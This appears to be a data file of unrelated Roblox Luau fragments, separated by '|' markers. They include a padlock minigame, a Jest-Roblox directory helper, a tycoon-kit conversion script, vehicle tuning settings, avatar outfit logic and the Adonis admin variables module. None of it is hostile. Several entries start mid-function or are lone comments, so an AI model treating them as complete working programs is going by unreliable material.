p1.cam.CFrame = l__CFrame__1:Lerp(l__WorldCFrame__13, v15) * p1.csgo;
p1.cam.FieldOfView = l__FieldOfView__2 + (30 - l__FieldOfView__2) * v15;
end;
p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo;
for v16 = 1, 10000000000000 do
task.wait();
p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo;
if u3 == true then
break;
end;
end;
end);
local l__ActivateEventPrompt__17 = l__Padlock__11:FindFirstChild("ActivateEventPrompt");
l__ActivateEventPrompt__17.Enabled = false;
local l__AnimationController__18 = l__Padlock__11.AnimationController;
local v19 = {};
for v20, v21 in pairs(l__Padlock__11:FindFirstChild("Animations"):GetChildren()) do
v19[v21.Name] = l__AnimationController__18:LoadAnimation(v21);
end;
v19.start:Play(0.1);
v19.idle:Play(0.2);
local v22 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
local l__MinigameBackout__23 = script.Parent.Parent.Parent.Parent.MinigameBackout;
l__MinigameBackout__23.Visible = true;
l__TweenService__5:Create(l__MinigameBackout__23, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 3, true), {
ImageColor3 = Color3.fromRGB(107, 129, 179),
Size = UDim2.new(0.1, 60, 0.1, 60)
}):Play();
local u4 = nil;
local u5 = nil;
local u6 = nil;
local u7 = nil;
local u8 = v10;
local function u9(p2, p3)
p2.NumberUI.TextLabel.Text = p3;
for v24, v25 in pairs(p2:GetChildren()) do
if v25:IsA("BasePart") and v25:FindFirstChild("NumberUI") then
local v26 = 1;
if v25.Name == "NumberTop" then
v26 = 2;
elseif v25.Name == "NumberBelow" then
v26 = -1;
elseif v25.Name == "NumberBottom" then
v26 = -2;
end;
local v27 = (p3 + v26) % 10;
if v27 == nil then
warn("idk lol");
v27 = 0;
end;
v25.NumberUI.TextLabel.Text = v27;
end;
end;
end;
local function u10(p4, p5)
if tick() < u8 then
return;
end;
if p5 == nil then
p5 = 1;
end;
local v28 = (tonumber(p4.NumberUI.TextLabel.Text) + p5) % 10;
if v28 == nil then
warn("idk lol");
v28 = 0;
end;
p4.Sound.Pitch = 1 + p5 / 10 + v28 / 30;
p4.Sound:Play();
u9(p4, v28);
local l__Weld__29 = p4.Weld;
l__Weld__29.C0 = l__Weld__29.C0 * CFrame.Angles(math.rad(45 * p5), 0, 0);
l__TweenService__5:Create(p4.Weld, TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
C0 = CFrame.new(0, 0, 0)
}):Play();
end;
local function u11()
v19.input:Play();
u8 = tick() + 1;
local v30 = "";
for v31 = 1, 5 do
for v32, v33 in pairs(l__Padlock__11:GetDescendants()) do
if v33.Name == "Number" and v33:IsA("BasePart") and v33:GetAttribute("ID") == v31 then
v30 = v30 .. tostring(v33.NumberUI.TextLabel.Text);
end;
end;
end;
p1.remotes:WaitForChild("PL"):FireServer(v30);
wait(0.3);
for v34, v35 in pairs(l__Padlock__11:GetDescendants()) do
if v35.Name == "Number" and v35:IsA("BasePart") then
local l__Weld__36 = v35.Weld;
l__Weld__36.C0 = l__Weld__36.C0 * CFrame.Angles(3.141592653589793, 0, 0);
l__TweenService__5:Create(v35.Weld, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
C0 = CFrame.new(0, 0, 0)
}):Play();
u9(v35, 0);
end;
end;
end;
local function u12()
if u3 == false then
pcall(function()
u4:Disconnect();
u5:Disconnect();
u6:Disconnect();
u7:Disconnect();
end);
u3 = true;
p1.hideplayers = 0;
l__MinigameBackout__23.Visible = false;
v19["end"]:Play();
v19.idle:Stop();
l__Padlock__11.ConfirmUI.Enabled = false;
l__Selector__12.Visible = false;
local l__basecamcf__37 = p1.basecamcf;
local v38 = tick() + 0.5;
p1.camShaker:ShakeOnce(2, 0.5, 0.5, 1);
local l__CFrame__13 = p1.cam.CFrame;
local l__FieldOfView__14 = p1.cam.FieldOfView;
task.spawn(function()
for v39 = 1, 100000 do
task.wait();
local v40 = l__TweenService__5:GetValue((0.5 - math.abs(tick() - v38)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
if not (tick() <= v38) then
break;
end;
p1.cam.CFrame = l__CFrame__13:Lerp(p1.basecamcf, v40) * p1.csgo;
p1.cam.FieldOfView = l__FieldOfView__14 + (p1.fovspring - l__FieldOfView__14) * v40;
end;
p1.stopcam = false;
p1.freemouse = false;
l__ActivateEventPrompt__17.Enabled = l__Padlock__11.Padlocked.Value;
end);
end;
end;
local u15 = 1;
u4 = l__UserInputService__4.InputBegan:Connect(function(p6)
if p6.UserInputType == Enum.UserInputType.MouseButton1 or p6.UserInputType == Enum.UserInputType.Touch then
local v41 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y);
local v42, v43 = workspace:FindPartOnRay(Ray.new(v41.Origin, v41.Direction * 1000), p1.char);
if v42.Name == "Number" then
u10(v42);
p1.camShaker:ShakeOnce(0.1, 2, 0.06, 0.2);
return;
end;
if v42.Name == "ConfirmButton" or v42.Name == "ConfirmUIHolder" then
u11();
return;
end;
elseif p6.UserInputType == Enum.UserInputType.MouseButton2 then
local v44 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y);
local v45, v46 = workspace:FindPartOnRay(Ray.new(v44.Origin, v44.Direction * 1000), p1.char);
if v45.Name == "Number" then
u10(v45, -1);
p1.camShaker:ShakeOnce(0.1, 2, 0.06, 0.2);
return;
end;
if v45.Name == "ConfirmButton" then
u11();
return;
end;
else
if p6.KeyCode == Enum.KeyCode.ButtonA then
u11();
return;
end;
if p6.KeyCode == Enum.KeyCode.ButtonB then
u12();
return;
end;
if p6.KeyCode == Enum.KeyCode.ButtonX or p6.KeyCode == Enum.KeyCode.DPadUp then
for v47, v48 in pairs(l__Padlock__11:GetDescendants()) do
if v48.Name == "Number" and v48:IsA("BasePart") and v48:GetAttribute("ID") == u15 then
u10(v48);
end;
end;
return;
end;
if p6.KeyCode == Enum.KeyCode.DPadDown then
for v49, v50 in pairs(l__Padlock__11:GetDescendants()) do
if v50.Name == "Number" and v50:IsA("BasePart") and v50:GetAttribute("ID") == u15 then
u10(v50, -1);
end;
end;
return;
end;
if p6.KeyCode == Enum.KeyCode.DPadLeft or p6.KeyCode == Enum.KeyCode.DPadRight then
if p6.KeyCode == Enum.KeyCode.DPadRight then
u15 = math.clamp(u15 + 1, 1, 5);
else
u15 = math.clamp(u15 - 1, 1, 5);
end;
for v51, v52 in pairs(l__Padlock__11:GetDescendants()) do
if v52.Name == "Number" and v52:IsA("BasePart") and v52:GetAttribute("ID") == u15 then
l__Selector__12.Parent = v52.NumberUI.TextLabel;
end;
end;
end;
end;
end);
u5 = l__MinigameBackout__23.MouseButton1Down:Connect(u12);
u6 = l__Padlock__11.Padlocked.Changed:connect(function()
if l__Padlock__11.Padlocked.Value == false then
u12();
end;
end);
u7 = l__LocalPlayer__1.Character.Humanoid.HealthChanged:Connect(function()
if l__LocalPlayer__1.Character.Humanoid.Health < 0.1 then
u12();
end;
end);
if l__Padlock__11.Padlocked.Value == false then
u12();
end;
spawn(function()
local v53, v54, v55 = pairs(l__Padlock__11:GetDescendants());
while true do
local v56, v57 = v53(v54, v55);
if not v56 then
break;
end;
if v57.Name == "Number" and v57:IsA("BasePart") then
delay(v57:GetAttribute("ID") / 20, function()
l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true), {
Color = Color3.fromRGB(159, 160, 221)
}):Play();
end);
end;
if v57.Name == "ConfirmButton" and v57:IsA("BasePart") then
delay(2, function()
l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), {
Color = Color3.fromRGB(139, 255, 158)
}):Play();
end);
end;
end;
end);
if u3 == true then
return;
end;
end;
|
-- ROBLOX deviation: using FileSystemService instead of fs |
local getFileSystemService = require(CurrentModule.getFileSystemService)
local typesModule = require(Packages.JestTypes)
type Config_Path = typesModule.Config_Path
local function createDirectory(path: Config_Path): ()
local FileSystemService = getFileSystemService()
local ok, result, hasReturned = pcall(function()
-- ROBLOX deviation: using FileSystemService instead of fs
FileSystemService:CreateDirectories(path)
end)
if not ok then
local e = result
-- ROBLOX deviation START: additional error handling for AccessDenied case
if e:find("Error%(13%): Access Denied%. Path is outside of sandbox%.") then
error(
"Provided path is invalid: you likely need to provide a different argument to --fs.readwrite.\n"
.. "You may need to pass in `--fs.readwrite=$PWD`"
)
end
-- ROBLOX deviation END
-- ROBLOX FIXME: investigate how to catch directory exists error
if e.code ~= "EEXIST" then
error(e)
end
end
if hasReturned then
return result
end
end
exports.default = createDirectory
return exports
|
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR |
local TycoonName = "Batman Tycoon"
if game.Workspace:FindFirstChild(TycoonName) then
local s = nil
local bTycoon = game.Workspace:FindFirstChild(TycoonName)
local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit")
local new_Collector = zTycoon['READ ME'].Script:Clone()
local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()
if zTycoon then
for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'
if v then
s = v.PurchaseHandler:Clone()
v:Destroy()
end
end
-- Now make it compatiable
if s ~= nil then
for i,v in pairs(bTycoon.Tycoons:GetChildren()) do
local New_Tycoon = v:Clone()
New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()
s:Clone().Parent = New_Tycoon
local Team_C = Instance.new('BrickColorValue',New_Tycoon)
Team_C.Value = BrickColor.new(tostring(v.Name))
Team_C.Name = "TeamColor"
New_Tycoon.Name = v.TeamName.Value
New_Tycoon.Cash.Name = "CurrencyToCollect"
New_Tycoon.Parent = zTycoon.Tycoons
New_Tycoon.TeamName:Destroy()
v:Destroy()
New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()
local n = new_Collector:Clone()
n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')
n.Disabled = false
New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()
local g = Gate:Clone()
g.Parent = New_Tycoon.Gate['Touch to claim ownership!']
end
else
error("Please don't tamper with script names or this won't work!")
end
else
error("Please don't change the name of our tycoon kit or it won't work!")
end
bTycoon:Destroy()
Gate:Destroy()
new_Collector:Destroy()
print('Transfer complete! :)')
else
error("Check if you spelt the kit's name wrong!")
end
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here | |
--[[
These are nothing but simple `TweenInfo.new()` configuration tables. Feel free to play with them
if you want to adjust the different presets!
]] | |
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.4 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.5 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2 ,
--[[ 3 ]] 1.4 ,
--[[ 4 ]] 1.1 ,
--[[ 5 ]] 0.83 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
RikOne2 | Enjin
--]] |
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")
local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
local SetPitch = .1
local SetRev = 1.8
local vol = .7 --Set the volume for everything below
handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev")) |
-- A fully qualified outfit is one that has both arms, both legs, and a torso. |
local function isFullyQualifiedOutfit(assets)
for _, assetTypeId in pairs(bodyPartAssetTypeIds) do
if not assets[assetTypeId] then
return false
end
end
return true
end
return function(outfit)
return function(store)
local fullReset = outfit.isEditable or isFullyQualifiedOutfit(outfit.assets)
-- Do a full reset on a user costume, or a preset fully qualified one. Otherwise swap the existing parts.
store:dispatch(EquipOutfit(outfit.assets, fullReset))
if true then
local selectedItem = store:getState().AvatarExperience.AvatarScene.TryOn.SelectedItem.itemId
if selectedItem then
store:dispatch(ClearSelectedItem())
store:dispatch(CloseAllItemDetails(store:getState().Navigation.history))
end
end
if fullReset then
-- Preset costumes should not replace body colors.
if not FFlagAvatarEditorKeepYourColor or
(FFlagAvatarEditorKeepYourColor and not AvatarEditorUtils.isPresetCostume(outfit)) then
store:dispatch(SetBodyColors(outfit.bodyColors))
end
store:dispatch(SetAvatarScales(outfit.scales))
store:dispatch(SetAvatarType(outfit.avatarType))
end
end
end
|
-- Gui Elements |
local ButtonText = script.Parent:FindFirstChild("ButtonText") |
--// Special Variables |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions
Admin = server.Admin
Anti = server.Anti
Core = server.Core
HTTP = server.HTTP
Logs = server.Logs
Remote = server.Remote
Process = server.Process
Variables = server.Variables
Settings = server.Settings
Variables.BanMessage = Settings.BanMessage
Variables.LockMessage = Settings.LockMessage
for _, v in ipairs(Settings.MusicList or {}) do table.insert(Variables.MusicList, v) end
for _, v in ipairs(Settings.InsertList or {}) do table.insert(Variables.InsertList, v) end
for _, v in ipairs(Settings.CapeList or {}) do table.insert(Variables.Capes, v) end
Variables.Init = nil
Logs:AddLog("Script", "Variables Module Initialized")
end
local function AfterInit(data)
server.Variables.CodeName = server.Functions:GetRandom()
Variables.RunAfterInit = nil
Logs:AddLog("Script", "Finished Variables AfterInit")
end
local Lighting = service.Lighting
server.Variables = {
Init = Init,
RunAfterInit = AfterInit,
ZaWarudo = false,
CodeName = math.random(),
IsStudio = service.RunService:IsStudio(), -- Used to check if Adonis is running inside Roblox Studio as things like TeleportService and DataStores (if API Access is disabled) do not work in Studio
AuthorizedToReply = {},
FrozenObjects = {},
ScriptBuilder = {},
CachedDonors = {},
BanMessage = "Banned",
LockMessage = "Not Whitelisted",
DonorPass = {1348327, 1990427, 1911740, 167686, 98593, "6878510605", 5212082, 5212081}, --// Strings are items, numbers are gamepasses
WebPanel_Initiated = false,
LightingSettings = {
Ambient = Lighting.Ambient,
OutdoorAmbient = Lighting.OutdoorAmbient,
Brightness = Lighting.Brightness,
TimeOfDay = Lighting.TimeOfDay,
FogColor = Lighting.FogColor,
FogEnd = Lighting.FogEnd,
FogStart = Lighting.FogStart,
GlobalShadows = Lighting.GlobalShadows,
Outlines = Lighting.Outlines,
ShadowColor = Lighting.ShadowColor,
ColorShift_Bottom = Lighting.ColorShift_Bottom,
ColorShift_Top = Lighting.ColorShift_Top,
GeographicLatitude = Lighting.GeographicLatitude,
Name = Lighting.Name,
},
OriginalLightingSettings = {
Ambient = Lighting.Ambient,
OutdoorAmbient = Lighting.OutdoorAmbient,
Brightness = Lighting.Brightness,
TimeOfDay = Lighting.TimeOfDay,
FogColor = Lighting.FogColor,
FogEnd = Lighting.FogEnd,
FogStart = Lighting.FogStart,
GlobalShadows = Lighting.GlobalShadows,
Outlines = Lighting.Outlines,
ShadowColor = Lighting.ShadowColor,
ColorShift_Bottom = Lighting.ColorShift_Bottom,
ColorShift_Top = Lighting.ColorShift_Top,
GeographicLatitude = Lighting.GeographicLatitude,
Name = Lighting.Name,
Sky = Lighting:FindFirstChildOfClass("Sky") and Lighting:FindFirstChildOfClass("Sky"):Clone(),
},
PMtickets = {};
HelpRequests = {};
Objects = {};
InsertedObjects = {};
CommandLoops = {};
SavedTools = {};
Waypoints = {};
Cameras = {};
Jails = {};
LocalEffects = {};
SizedCharacters = {};
BundleCache = {};
TrackingTable = {};
DisguiseBindings = {};
IncognitoPlayers = {};
MusicList = {
{Name = "crabrave", ID = 5410086218},
{Name = "shiawase", ID = 5409360995},
{Name = "unchartedwaters", ID = 7028907200},
{Name = "glow", ID = 7028856935},
{Name = "good4me", ID = 7029051434},
{Name = "bloom", ID = 7029024726},
{Name = "safe&sound", ID = 7024233823},
{Name = "shaku", ID = 7024332460},
{Name = "fromdust&ashes", ID = 7024254685},
{Name = "loveis", ID = 7029092469},
{Name = "playitcool", ID = 7029017448},
{Name = "still", ID = 7023771708},
{Name = "sleep", ID = 7023407320},
{Name = "whatareyouwaitingfor", ID = 7028977687},
{Name = "balace", ID = 7024183256},
{Name = "brokenglass", ID = 7028799370},
{Name = "thelanguageofangels", ID = 7029031068},
{Name = "imprints", ID = 7023704173},
{Name = "foundareason", ID = 7028919492},
{Name = "newhorizons", ID = 7028518546},
{Name = "whatsitlike", ID = 7028997537},
{Name = "destroyme", ID = 7023617400},
{Name = "consellations", ID = 7023733671},
{Name = "wish", ID = 7023670701},
{Name = "samemistake", ID = 7024101188},
{Name = "whereibelong", ID = 7028527348},
};
InsertList = {};
Capes = {
{Name = "crossota", Material = "Neon", Color = "Cyan", ID = 420260457},
{Name = "jamiejr99", Material = "Neon", Color = "Cashmere", ID = 429297485},
{Name = "new yeller", Material = "Fabric", Color = "New Yeller"},
{Name = "pastel blue", Material = "Fabric", Color = "Pastel Blue"},
{Name = "dusty rose", Material = "Fabric", Color = "Dusty Rose"},
{Name = "cga brown", Material = "Fabric", Color = "CGA brown"},
{Name = "random", Material = "Fabric", Color = (BrickColor.random()).Name},
{Name = "shiny", Material = "Plastic", Color = "Institutional white", Reflectance = 1},
{Name = "gold", Material = "Plastic", Color = "Bright yellow", Reflectance = 0.4},
{Name = "kohl", Material = "Fabric", Color = "Really black", ID = 108597653},
{Name = "script", Material = "Plastic", Color = "White", ID = 151359194},
{Name = "batman", Material = "Fabric", Color = "Institutional white", ID = 108597669},
{Name = "epix", Material = "Plastic", Color = "Really black", ID = 149442745},
{Name = "superman", Material = "Fabric", Color = "Bright blue", ID = 108597677},
{Name = "swag", Material = "Fabric", Color = "Pink", ID = 109301474},
{Name = "donor", Material = "Plastic", Color = "White", ID = 149009184},
{Name = "gomodern", Material = "Plastic", Color = "Really black", ID = 149438175},
{Name = "admin", Material = "Plastic", Color = "White", ID = 149092195},
{Name = "giovannis", Material = "Plastic", Color = "White", ID = 149808729},
{Name = "godofdonuts", Material = "Plastic", Color = "Institutional white", ID = 151034443},
{Name = "host", Material = "Plastic", Color = "Really black", ID = 152299000},
{Name = "cohost", Material = "Plastic", Color = "Really black", ID = 152298950},
{Name = "trainer", Material = "Plastic", Color = "Really black", ID = 152298976},
{Name = "ba", Material = "Plastic", Color = "White", ID = 172528001}
};
Blacklist = {
Enabled = (server.Settings.BlacklistEnabled ~= nil and server.Settings.BlacklistEnabled) or true,
Lists = {
Settings = server.Settings.Blacklist
},
};
Whitelist = {
Enabled = server.Settings.WhitelistEnabled,
Lists = {
Settings = server.Settings.Whitelist
},
};
}
end
|
-- declarations |
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sGettingUp = newSound("rbxasset://sounds/action_get_up.mp3")
local sDied = newSound("")
local sFreeFalling = newSound("rbxasset://sounds/action_falling.mp3")
local sJumping = newSound("rbxasset://sounds/action_jump.mp3")
local sLanding = newSound("rbxasset://sounds/action_jump_land.mp3")
local sSplash = newSound("rbxasset://sounds/impact_water.mp3")
local sRunning = newSound("rbxasset://sounds/action_footsteps_plastic.mp3")
sRunning.Looped = true
local sSwimming = newSound("rbxasset://sounds/action_swim.mp3")
sSwimming.Looped = true
local sClimbing = newSound("rbxasset://sounds/action_footsteps_plastic.mp3")
sClimbing.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
local prevState = "None"
|